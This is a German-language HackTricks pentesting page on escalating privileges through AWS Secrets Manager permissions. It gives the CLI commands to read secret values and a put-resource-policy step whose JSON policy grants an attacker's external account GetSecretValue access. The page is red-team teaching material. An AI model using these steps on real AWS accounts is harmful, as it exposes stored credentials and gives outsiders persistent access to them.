AWS - Secrets Manager Privesc

Reading time: 3 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Secrets Manager

Für mehr Informationen über Secrets Manager siehe:

AWS - Secrets Manager Enum

secretsmanager:GetSecretValue

Ein attacker mit dieser Berechtigung kann den gespeicherten Wert in einem secret in AWS Secretsmanager abrufen.

bash
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value

Potenzielle Auswirkung: Zugriff auf hochsensible Daten im AWS Secrets Manager.

warning

Beachte, dass selbst mit der Berechtigung secretsmanager:BatchGetSecretValue ein Angreifer zusätzlich secretsmanager:GetSecretValue benötigt, um die sensiblen Secrets abzurufen.

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

Mit den vorherigen Berechtigungen ist es möglich, anderen Principals/Accounts (auch externen) Zugriff zu gewähren, um auf das secret zuzugreifen. Beachte, dass ein Benutzer, um verschlüsselte secrets zu lesen, die mit einem KMS key verschlüsselt sind, außerdem Zugriff auf den KMS key benötigt (mehr Infos auf der KMS Enum page).

bash
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json

policy.json:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": "secretsmanager:GetSecretValue",
"Resource": "*"
}
]
}

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks